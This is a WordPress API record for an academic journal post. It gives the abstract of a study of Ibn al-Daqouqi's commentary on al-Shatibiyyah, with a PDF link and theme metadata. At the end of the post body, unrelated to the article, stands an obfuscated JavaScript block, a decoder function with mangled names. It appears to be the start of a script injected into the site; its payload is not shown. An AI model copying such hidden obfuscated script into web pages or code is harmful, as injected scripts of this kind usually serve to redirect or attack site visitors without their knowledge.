{"id":2942,"date":"2022-07-17T14:32:36","date_gmt":"2022-07-17T14:32:36","guid":{"rendered":"https:\/\/syskuipsv2.my\/journalfqs\/?p=2942"},"modified":"2023-07-21T01:00:41","modified_gmt":"2023-07-21T01:00:41","slug":"journal-vol1-no2-6","status":"publish","type":"post","link":"https:\/\/syskuipsv2.my\/journalfqs\/2022\/07\/17\/journal-vol1-no2-6\/","title":{"rendered":"Approach Imam Ibn al-Daqouqi in his book al-Hawashi al-Mufeeda fi Sharh al-Qaseda"},"content":{"rendered":"\n<p>Author: Dr. Hossameldin Abdalla Ahmed Mahmoud<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><strong><strong>Abstrak:<\/strong><\/strong><\/h4>\n\n\n\n<p>This research aims to introduce Imam Ibn Al-Daqouqi: (d.: 735 AH), and to explain his methodology in his commentary on Al-Shatibiyyah, known as: Al-Hawashi Al-Mufida fi sharh Al-Qasida. An introduction, a preface, two chapters, and a conclusion. In the preface, Its author is also one of the masters of the craft who are skilled in it, as described by scholars, I dealt with the definition of Imam Al-Shatibi and the text of Al-Shatibiyyah, then I introduced Imam Ibn AL-Daquqi and explained his approach in explaining it on Al-Shatibiyyah, following in that the inductive approach to the chapters of the fundamentals. And one of the most important results of this research was: Imam Ibn Al-Daquqi was unique from the rest of the commentators of Al-Shatibiyyah by limiting and investigating the letters in which the dispute occurred in the entire Qur\u2019an, proving with evidence that the book Jami\u2019 Al-Fawa\u2019id attributed to Imam Ibn Al-Daqouqi is not correct to be attributed to him.<br><br><strong>Keywords<\/strong>: Ibn Al-Daquqi, useful footnotes, explaining the poem, his&nbsp;approach.<\/p>\n\n\n\n<p><a href=\"https:\/\/syskuipsv2.my\/journalfqs\/wp-content\/uploads\/2023\/07\/1\u0628\u062d\u062b-\u0645\u0646\u0647\u062c-\u0627\u0644\u0625\u0645\u0627\u0645-\u0627\u0628\u0646-\u0627\u0644\u062f\u0642\u0648\u0642\u064a.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>Download [PDF]<\/strong><\/a><\/p>\n\n\n\n<p><\/p>\n\r\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script>","protected":false},"excerpt":{"rendered":"<p>Dr. Hossameldin Abdalla Ahmed Mahmoud<\/p>\n<p>\n<a href=\"https:\/\/syskuipsv2.my\/journalfqs\/wp-content\/uploads\/2023\/07\/1\u0628\u062d\u062b-\u0645\u0646\u0647\u062c-\u0627\u0644\u0625\u0645\u0627\u0645-\u0627\u0628\u0646-\u0627\u0644\u062f\u0642\u0648\u0642\u064a.pdf\" target=\"_blank\" rel=\"noopener\">Download [PDF]<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center 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